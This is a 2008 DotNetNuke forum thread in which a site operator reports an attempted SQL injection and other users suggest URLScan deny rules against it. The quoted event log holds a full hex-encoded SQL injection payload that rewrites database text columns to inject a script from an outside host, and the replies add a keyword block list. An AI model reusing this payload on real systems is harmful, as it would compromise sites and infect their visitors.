Small width layout Medium width layout Maximum width layout Small text Medium text Large text
     Search
Downloads Downloads Directory Directory Forums Forums Forge Forge Blogs Blogs        Marketplace Marketplace Careers Program Careers
Community › Forums Register  |  

AppTheory specializes in solutions based on the DotNetNuke platform and has 2 employees on the DotNetNuke Core Team.
  Ads  
Active Modules -- Active Forums for DotNetNuke
 


  Sponsors  

Meet Our Sponsors

Merak Mail Server
WebSecureStores -- ASP.NET & DotNetNuke Hosting Solutions
FCKeditor Project
Salaro -- Skins and more
OnyakTech
CrystalTech Web Hosting™
 


DotNetNuke Forums
 
  Forum  General DotNetN...  Chat About It!  An attempt at cracking into system?
Previous Previous
 
Next Next
New Post 8/20/2008 1:07 PM
User is offline Beanie
66 posts
10th Ranked


An attempt at cracking into system? 

Hi all, I was poking around DNN's event log and noticed this...

Looks like somebody is attempting sql injection, or at the least being an annoyance.

AssemblyVersion: 04.08.04
PortalID: -1
PortalName:
UserID: -1
UserName:
ActiveTabID: -1
ActiveTabName:
RawURL: /LinkClick.aspx?fileticket=wCazDxFeyZU%3D&tabid=870&mid=1335';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E31303030796C632E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E31303030796C632E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
AbsoluteURL: /LinkClick.aspx
AbsoluteURLReferrer:
UserAgent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
DefaultDataProvider: DotNetNuke.Data.SqlDataProvider, DotNetNuke.SqlDataProvider
ExceptionGUID: 9f95910a-ab71-4864-9a6e-77e3021f681b
InnerException: Unhandled Error:
FileName:
FileLineNumber: 0
FileColumnNumber: 0
Method: System.Number.StringToNumber
StackTrace:
Message: System.Exception: Unhandled Error: ---> System.formatException: Input string was not in a correct format. at System.Number.StringToNumber(String str, NumberStyles options, NumberBuffer& number, NumberformatInfo info, Boolean parseDecimal) at System.Number.ParseInt32(String s, NumberStyles style, NumberformatInfo info) at DotNetNuke.Common.Globals.IsAdminSkin(Boolean IsAdminTab) at DotNetNuke.Entities.Portals.PortalSettings.GetPortalSettings(Int32 TabId, PortalAliasInfo objPortalAliasInfo) at DotNetNuke.Entities.Portals.PortalSettings..ctor(Int32 tabId, PortalAliasInfo objPortalAliasInfo) at DotNetNuke.HttpModules.UrlRewriteModule.OnBeginRequest(Object s, EventArgs e) at System.Web.HttpApplication.SyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --- End of inner exception stack trace ---
Source:
Server Name: XXXXXXX

Then found this in Event Viewer Application log

Event code: 4011

Event message: An unhandled access exception has occurred.

Event time: 8/20/2008 11:46:37 AM

Event time (UTC): 8/20/2008 6:46:37 PM

Event ID: d09ccea02b924525b3a87a9206bb9873

Event sequence: 19

Event occurrence: 1

Event detail code: 0

 

Application information:

Application domain: /LM/W3SVC/1/ROOT-1-128637315731568032

Trust level: Full

Application Virtual Path: /

Application Path: c:\inetpub\wwwroot\xxxx\

Machine name: xxxxxxxxx

 

Process information:

Process ID: 1888

Process name: w3wp.exe

Account name: NT AUTHORITY\NETWORK SERVICE

 

Request information:

Request URL: http://xxxxxxxx/Install/Install.aspx?mode=upgrade

Request path: /Install/Install.aspx

User host address: 216.155.220.110

User:

Is authenticated: False

Authentication Type:

Thread account name: NT AUTHORITY\NETWORK SERVICE

 

Custom event details:

For more information, see Help and Support Center at http://go.microsoft.com/fwlink/events.asp.

 
New Post 8/20/2008 1:41 PM
User is offline CSmith
386 posts
www.netdatadesign.com
8th Ranked


Re: An attempt at cracking into system? 

I was getting a good number of these on a few websites I host. I have found that URLScan 3.0 (beta), did a nice job of eliminating them before they reached IIS. There are some rules to add to the URLScan.ini file to specificly target SQL injection.

Here are the rules I added:

; Commonly used by script injection attacks

[SQL Injection]
AppliesTo=.asp,.aspx,.
DenyDataSection=SQL Injection Strings
ScanUrl=0
ScanAllRaw=0
ScanQueryString=1
ScanHeaders=

[SQL Injection Strings]
--
%3b ; a semicolon
/*
@ ; also catches @@
char ; also catches nchar and varchar
alter
begin
cast
convert
create
cursor
declare
delete
drop
end
exec ; also catches execute
fetch
insert
kill
open
select
sys ; also catches sysobjects and syscolumns
table
update

[SQL Injection Headers]
AppliesTo=.asp,.aspx,.
DenyDataSection=SQL Injection Headers Strings
ScanUrl=0
ScanAllRaw=0
ScanQueryString=0
ScanHeaders=Cookie:

[SQL Injection Headers Strings]
--
@ ; also catches @@
alter
cast
convert
create
declare
delete
drop
exec ; also catches execute
fetch
insert
kill
select

 

Hope this helps...


 
New Post 8/20/2008 1:57 PM
User is offline Beanie
66 posts
10th Ranked


Re: An attempt at cracking into system? 
Modified By cathal connolly  on 8/20/2008 7:28:25 PM)

After converting the hex string to ascii this is what it's trying to do...

DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR ...*** removed by forum admin as post was breaking rendering***

I'm guessing this would have been ran against my DNN database?

 

 
New Post 8/20/2008 5:29 PM
User is offline cathal connolly
2757 posts
www.cathal.co.uk
5th Ranked










Re: An attempt at cracking into system? 

please see my recent post & blog on this @ http://www.dotnetnuke.com/Community/Forums/tabid/795/forumid/118/postid/250015/scope/posts/Default.aspx 

 
New Post 8/23/2008 8:22 PM
User is offline achooyeah
249 posts
www.swanzey.com
9th Ranked




Re: An attempt at cracking into system? 

Thanks for that CSmith.

 
Previous Previous
 
Next Next
  Forum  General DotNetN...  Chat About It!  An attempt at cracking into system?
 


Forum Policy

These Discussion Forums are dedicated to the discussion of the DotNetNuke Web Application Framework.

For the benefit of the community and to protect the integrity of the project, please observe the following posting guidelines:

1. No Advertising. This includes promotion of commercial and non-commercial products or services which are not directly related to DotNetNuke.
2. Discussion or promotion of DotNetNuke product releases under a different brand name are strictly prohibited.
3. No Flaming or Trolling.
4. No Profanity, Racism, or Prejudice.
5. Site Moderators have the final word on approving/removing a thread or post or comment.
6. English language posting only, please.

 


Code 5 Systems, LLC.
The DNN Missing Link: A Form Module. Form Master 1.6 is an intuitive Form Creation Module at a great price. Quality Custom Module development, and DNN consulting services.
www.code5systems.com
SSL Enabled and Amazingly FAST...
SSL enable your DNN web site with SSLRedirect, compress your DNN web site HTTP data flow by up to 75%-90% with HttpCompressionAgent, and monitor your DNN web site's performance with WebKeepAlive...
www.sanibellogic.com
Ultra Media Gallery & Video Gallery
The most popular photo gallery and video gallery module. with Flash interface.
www.bizmodules.net

DotNetNuke Corporation   Terms Of Use  Privacy Statement
DotNetNuke®, DNN®, and the DotNetNuke logo are trademarks of DotNetNuke Corporation
Hosted by MaximumASP